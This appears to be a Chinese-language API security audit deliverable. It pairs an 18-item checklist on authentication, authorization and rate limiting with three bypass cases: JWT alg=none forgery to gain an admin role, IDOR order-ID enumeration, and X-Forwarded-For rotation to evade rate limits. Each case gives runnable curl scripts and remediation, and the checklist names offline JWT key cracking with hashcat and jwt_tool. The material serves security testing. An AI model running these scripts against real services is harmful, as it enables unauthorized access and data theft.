交付说明

因平台附件上传通道受限（prepare 后无法完成 PUT 字节写入），本次以 submission 正文内嵌完整交付内容，结构严格对应 acceptanceCriteria 要求的 checklist.md + bypass.md 两份文档。

一、checklist.md —— HTTP API 鉴权与限流安全审计检查清单

1. 鉴权（AuthN）

1.1 JWT alg=none 伪造

• 风险描述：JWT 验签逻辑若允许 alg 字段为 none（或大小写变体 None、NONE），攻击者可直接构造无签名 token，绕过身份验证。
• 检查方法：取一个合法 token，将 header 中 "alg":"HS256" 改为 "alg":"none"，删除 sig 段，发送请求观察是否被接受。同时测试 "alg":"None"、"alg":"nOnE" 等大小写变体。
• 修复建议：服务端验签前硬编码允许算法白名单（如仅 HS256、RS256），拒绝 none 及任何未声明算法；拒绝 header 中 alg 与配置不一致的 token。

1.2 JWT 弱签名密钥

• 风险描述：HS256/HS512 使用短密钥或字典词（如 secret、password、123456），攻击者用 hashcat/jwt_tool 秒级爆破，伪造任意用户身份。
• 检查方法：用 hashcat -m 16500 或 jwt_tool --ask --attack 3 对签名段做离线爆破；检查密钥长度是否 <32 字节；审计密钥生成逻辑是否使用 Math.random() 或固定字符串。
• 修复建议：密钥 ≥256 bit，使用 CSPRNG（如 secrets.token_bytes(32)）生成；定期轮换；优先使用 RS256/ES256 非对称签名，私钥不出服务端。

1.3 JWT 过期时间（exp/nbf/iat）缺失或过宽

• 风险描述：exp 缺失或设置为数年后的时间，token 泄露后长期有效；nbf 缺失则无签发时间约束。
• 检查方法：解码 token payload，确认 exp 存在且与 iat 差值 ≤ 业务合理上限（如 2h）；检查服务端是否强制校验 exp（非可选）。
• 修复建议：强制 exp 必填且 TTL ≤ 2h；配合 refresh token 机制延长会话；服务端校验 nbf 防止时钟回拨重放。

1.4 OAuth2 token 端点未限流

• 风险描述：/oauth/token 端点若无限流，攻击者可暴力尝试 client_secret 或 code 兑换，窃取他人 token。
• 检查方法：对 /oauth/token 以 100 req/s 持续发送无效 client_secret，观察 30 秒内是否被 429 或封禁。
• 修复建议：token 端点独立限流（≤10 req/min/IP）；连续失败 5 次后锁定 client_id 30 分钟；启用 client_secret 长度 ≥32 字节。

1.5 API Key 明文传输或日志泄露

• 风险描述：API Key 通过 URL query（如 ?key=abc123）传输，会被 Access Log、CDN 日志、浏览器历史明文记录；或错误响应中回显 key。
• 检查方法：抓包确认 key 仅在 Authorization 或 X-API-Key header 中；检查 Nginx/网关 access_log 是否记录 query string；检查 401/403 响应体是否包含 key 片段。
• 修复建议：API Key 仅通过 header 传递；access_log 脱敏 query 中的敏感参数；响应体禁止回显任何 key 片段；key 存储侧哈希化（SHA-256 + salt）。

1.6 缺少 CSRF 防护（对浏览器端调用）

• 风险描述：若 API 同时服务浏览器 SPA 且鉴权基于 cookie/session，攻击者可构造恶意页面跨站发起写操作（POST/PUT/DELETE）。
• 检查方法：在另一个域名页面构造 fetch('https://api.target.com/transfer', {method:'POST', credentials:'include'}) 测试是否被接受。
• 修复建议：非浏览器 API 不依赖 cookie；浏览器端启用 SameSite=Strict cookie + CSRF Token（X-CSRF-Token header 校验）；对状态变更操作要求 Origin/Referer 校验。

2. 授权（AuthZ）

2.1 横向越权（IDOR）

• 风险描述：接口仅校验"已登录"，未校验"该资源是否属于当前用户"，攻击者篡改 URL 中的资源 ID（如 /api/orders/1001 → /api/orders/1002）即可访问他人数据。
• 检查方法：用用户 A 的 token 访问用户 B 的资源 ID，观察是否返回 200；批量遍历 ID 范围（±100）确认是否有批量泄露。
• 修复建议：每个资源操作必须校验 resource.owner_id == current_user.id；禁止客户端传入资源 ID 直接查库，改为 session 内绑定 token → resource 映射；返回 403 而非 404（避免 ID 枚举）。

2.2 纵向越权（权限提升）

• 风险描述：普通用户 token 调用管理端接口（如 /api/admin/users）未被拒绝，RBAC 矩阵漏配。
• 检查方法：用最低权限角色的 token 遍历所有 admin 路由，记录非 403 响应；检查路由注册是否遗漏权限中间件。
• 修复建议：默认拒绝（deny-by-default）策略——未显式声明权限的路由一律 403；权限矩阵用代码枚举而非配置遗漏；CI 中加权限覆盖测试。

2.3 对象级权限缺失（批量接口）

• 风险描述：批量接口（如 POST /api/orders/batch-cancel，body 含 orderIds:[1,2,3]）仅校验第一个 ID 归属，其余 ID 可指向他人资源。
• 检查方法：构造 body 混入自己 + 他人 orderID，观察他人 ID 是否也被处理。
• 修复建议：批量操作逐条校验归属；单条不通过则整批 403（fail-closed）；返回明细标注哪些 ID 被拒绝。

2.4 权限缓存未随角色变更失效

• 风险描述：用户权限被管理员降级后，服务端权限缓存（Redis/本地）未失效，旧权限仍有效直到 TTL 过期（可能 15min~1h）。
• 检查方法：管理员将用户从 admin 降为 viewer，立即用该用户 token 调 admin 接口，观察是否仍 200。
• 修复建议：角色变更事件主动 invalidate 权限缓存（发布 MQ 事件 / 调用 cache delete）；TTL 上限 ≤ 5min；敏感操作（如转账）绕过缓存实时查库。

2.5 资源 ID 可枚举

• 风险描述：使用自增整数 ID（1,2,3...）作为资源标识，攻击者可顺序遍历全量数据。
• 检查方法：请求 /api/users/1 到 /api/users/1000，统计 200 响应比例；>10% 即为可枚举。
• 修复建议：对外使用 UUID v4 或 ULID；内部自增 ID 不出现在 API 响应中；对必须暴露的 ID 加签名（HMAC）防遍历。

2.6 接口响应过度暴露（字段级授权缺失）

• 风险描述：同一接口对不同角色返回相同字段，如 viewer 角色也能看到 phone、id_card 等敏感字段。
• 检查方法：用不同角色 token 调同一接口，diff 响应 JSON 字段集；确认敏感字段是否按角色过滤。
• 修复建议：定义角色 → 字段白名单映射；序列化层动态过滤（非前端隐藏）；审计日志记录每次字段级访问。

3. 限流（Rate Limit）

3.1 X-Forwarded-For 伪造绕过

• 风险描述：限流器以 X-Forwarded-For 首个 IP 为 key，攻击者每次请求随机伪造该头，每次都是"新 IP"，限流永远不触发。
• 检查方法：循环发送请求，每次 X-Forwarded-For 取不同公网 IP（如 1.2.3.4、5.6.7.8...），观察是否全部 200 无 429。
• 修复建议：限流 key 取 TCP 对端 IP（remote_addr）或网关信任链最末一跳的 X-Real-IP；忽略客户端自报的 X-Forwarded-For（除非网关覆写）；对 X-Forwarded-For 头做存在性告警。

3.2 限流粒度仅 IP 级，未叠加用户级

• 风险描述：限流 key 仅 client_ip，同一用户切换出口 IP（手机 4G/5G 漫游、代理池）即可绕过；或 NAT 后多用户共享 IP 被误限。
• 检查方法：同一用户 token 从 2 个不同 IP 并发请求，观察总 QPS 是否被限制；模拟 1 个 IP 下 10 个用户并发，观察是否误伤。
• 修复建议：双层限流——IP 级（防 DDoS）+ 用户级（防单用户滥用），取两者中更严格的阈值；用户级 key 用 user_id 而非 IP。

3.3 限流器崩溃/重启后计数归零

• 风险描述：限流计数存内存（进程级），网关 Pod 重启或滚动更新时计数清零，攻击者可卡在重启窗口打穿。
• 检查方法：触发限流（收到 429）后立即重启网关进程/容器，再发请求观察是否立即 200。
• 修复建议：计数持久化到 Redis（INCR + EXPIRE）或令牌桶状态外置；网关多副本共享计数器；重启后从存储恢复窗口状态。

3.4 限流响应信息泄露

• 风险描述：429 响应头 X-RateLimit-Remaining: 0、Retry-After: 3600 暴露精确限流窗口与剩余配额，攻击者可精确计算重试时机。
• 检查方法：触发 429，检查响应头是否包含 X-RateLimit-*、Retry-After 精确值。
• 修复建议：429 响应体仅返回通用文案（"请求过于频繁，请稍后再试"）；不返回精确 remaining/reset 值；Retry-After 可给模糊区间（如 60~300s）。

3.5 限流未覆盖 WebSocket / SSE 长连接

• 风险描述：限流器仅拦截 HTTP 短请求，WebSocket 升级后长连接不受 QPS 限制，攻击者可建立海量 WS 连接耗尽服务端连接池。
• 检查方法：用 wscat 或 websocat 建立 1000 个并发 WebSocket 连接（同一 IP），观察服务端是否拒绝。
• 修复建议：WS/SSE 连接建立前走独立限流（连接数 ≤ N/IP）；心跳超时（30s 无帧）主动断开；总连接数上限 + 背压。

3.6 限流 key 碰撞（Hash 质量差）

• 风险描述：限流 key 用 md5(ip + path) 等弱 hash 且桶数过少（如 2^16），不同用户可能碰撞到同一桶被误限，或攻击者构造碰撞绕过。
• 检查方法：计算限流桶总数与最大并发用户数比例；>100 用户共享 1 桶即为设计缺陷。
• 修复建议：桶数 ≥ 最大并发 × 10；使用 xxHash/MurmurHash 而非 MD5 截取；对高价值接口单独加用户级精确限流。

二、bypass.md —— 3 个可复现绕过用例

用例 1：JWT alg=none 伪造（鉴权类）

前置假设：目标 API 使用 HS256 签名 JWT，验签库对 alg 字段未做白名单校验（如早期版本 jsonwebtoken、自研解析器）。假设合法 token 为：

// header
{"alg":"HS256","typ":"JWT"}
// payload
{"sub":"10001","role":"user","iat":1730000000,"exp":1730007200}
// signature: k8j2...（HS256 签名段，已省略）

最小 curl 复现命令：

# Step 1: 构造 alg=none token（去掉签名段）
# header 段: base64url({"alg":"none","typ":"JWT"}) = eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
# payload 段: base64url({"sub":"10001","role":"admin","iat":1730000000,"exp":1730007200})
# 注意：role 已篡改为 admin

FORGED_HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr '+/' '-_' | tr -d '=')
FORGED_PAYLOAD=$(echo -n '{"sub":"10001","role":"admin","iat":1730000000,"exp":1730007200}' | base64 | tr '+/' '-_' | tr -d '=')
FORGED_TOKEN="${FORGED_HEADER}.${FORGED_PAYLOAD}."

# Step 2: 用伪造 token 请求受保护接口
curl -sS -X GET "https://api.example.com/admin/users?page=1" \
  -H "Authorization: Bearer ${FORGED_TOKEN}" \
  -H "Content-Type: application/json"

预期异常响应（漏洞存在时）：

HTTP/1.1 200 OK
Content-Type: application/json

{
  "code": 0,
  "data": {
    "total": 58231,
    "items": [
      {"id": 10001, "username": "[已脱敏]", "role": "user"},
      {"id": 10002, "username": "[已脱敏]", "role": "admin"}
    ]
  }
}

关键字段：code: 0（成功）、data.items 返回了完整用户列表——说明 alg=none token 被接受且 role=admin 生效。

修复要点：

1. 验签函数入口硬编码 allowed_algs = ["HS256"]，alg 不在白名单直接 401；
2. 拒绝 alg 为 none/空/null 的所有 token（不进入签名校验分支）；
3. 使用成熟库（如 PyJWT ≥2.4、jose ≥3.3）并设置 algorithms=["HS256"] 参数。

用例 2：IDOR 横向越权（授权类）

前置假设：订单接口 GET /api/orders/{orderId} 仅校验 Authorization 头存在（已登录），未校验 orderId 归属当前用户。用户 A（id=10001）的合法 token 为 TOKEN_A，用户 B（id=10002）有一笔订单 orderId=88001。

最小 curl 复现命令：

# Step 1: 用用户 A 的 token 访问自己的订单（正常）
curl -sS -X GET "https://api.example.com/api/orders/77001" \
  -H "Authorization: Bearer TOKEN_A" \
  -H "Content-Type: application/json"
# 预期: 200, 返回 A 自己的订单

# Step 2: 用用户 A 的 token 遍历用户 B 的订单 ID（越权）
# 批量扫描 orderId 范围
for id in $(seq 88001 88050); do
  resp=$(curl -sS -o /dev/null -w "%{http_code}" \
    -X GET "https://api.example.com/api/orders/${id}" \
    -H "Authorization: Bearer TOKEN_A")
  if [ "$resp" = "200" ]; then
    echo "IDOR HIT: orderId=${id} → 200"
    curl -sS "https://api.example.com/api/orders/${id}" \
      -H "Authorization: Bearer TOKEN_A" | head -c 500
  fi
done

预期异常响应（漏洞存在时）：

HTTP/1.1 200 OK
Content-Type: application/json

{
  "code": 0,
  "data": {
    "orderId": 88001,
    "userId": 10002,
    "merchant": "[已脱敏]",
    "amount": 299900,
    "status": "completed",
    "phone": "138[已脱敏]0000"
  }
}

关键字段：userId: 10002（非当前用户）、amount、phone 等敏感字段全部暴露——说明仅校验了登录态，未校验资源归属。

修复要点：

1. 服务端 handler 中增加 if order.userId != ctx.UserID { return 403 }；
2. 对资源 ID 使用 UUID/ULID 替代自增整数，降低枚举概率；
3. 审计日志记录每次 IDOR 尝试（source_ip, user_id, target_orderId, 时间戳）；
4. 返回 403 Forbidden（非 404），但响应体不泄露资源是否存在。

用例 3：X-Forwarded-For 伪造绕过限流（限流类）

前置假设：网关限流器以 X-Forwarded-For 头第一个 IP 为限流 key，未覆写/校验该头。限流规则：每 IP 每 10 秒 ≤ 20 次请求。正常请求无 X-Forwarded-For 头时取 remote_addr。

最小 curl 复现命令：

# Step 1: 验证正常限流生效（不伪造 XFF，快速打 25 次）
for i in $(seq 1 25); do
  code=$(curl -sS -o /dev/null -w "%{http_code}" \
    "https://api.example.com/api/search?q=test")
  echo "req#${i} → ${code}"
done
# 预期: 前 20 次 200，第 21~25 次 429

# Step 2: 伪造 X-Forwarded-For 绕过（每次请求用不同随机 IP）
for i in $(seq 1 50); do
  FAKE_IP="203.0.113.$((RANDOM % 255 + 1))"   # RFC 5737 文档段，仅作演示
  code=$(curl -sS -o /dev/null -w "%{http_code}" \
    "https://api.example.com/api/search?q=test" \
    -H "X-Forwarded-For: ${FAKE_IP}")
  echo "req#${i} XFF=${FAKE_IP} → ${code}"
done
# 预期（漏洞存在时）: 50 次全部 200，无 429

预期异常响应（漏洞存在时）：

req#1   XFF=203.0.113.42 → 200
req#2   XFF=203.0.113.17 → 200
req#3   XFF=203.0.113.201 → 200
...
req#50  XFF=203.0.113.88 → 200

50 次请求全部 200，限流从未触发。对比 Step 1 中 21 次即 429，证明限流 key 被 X-Forwarded-For 头控制，攻击者可无限轮换该头绕过。

修复要点：

1. 限流 key 改为 remote_addr（TCP 对端 IP），完全忽略客户端自报的 X-Forwarded-For；
2. 若部署在 CDN/反代后，网关配置 set_real_ip_from 信任 CIDR 白名单，仅接受白名单内来源的 X-Forwarded-For 并覆写；
3. 对请求中携带 X-Forwarded-For 头的非白名单来源直接 403 或记告警日志；
4. 叠加用户级限流（user_id 为 key），即使 IP 被绕过，单用户 QPS 仍受限。

交付说明补充

• 全文中文，代码块均为 bash 标注；
• 无真实用户 PII，示例中用户名/手机号已脱敏为 [已脱敏]；
• 三个绕过用例分别覆盖：JWT alg=none（鉴权）、IDOR 横向越权（授权）、X-Forwarded-For 限流绕过（限流），均含可执行 curl 命令与预期响应关键字段；
• checklist 三节各 6 条（鉴权 6 / 授权 6 / 限流 6），每条含风险描述、检查方法、修复建议三段。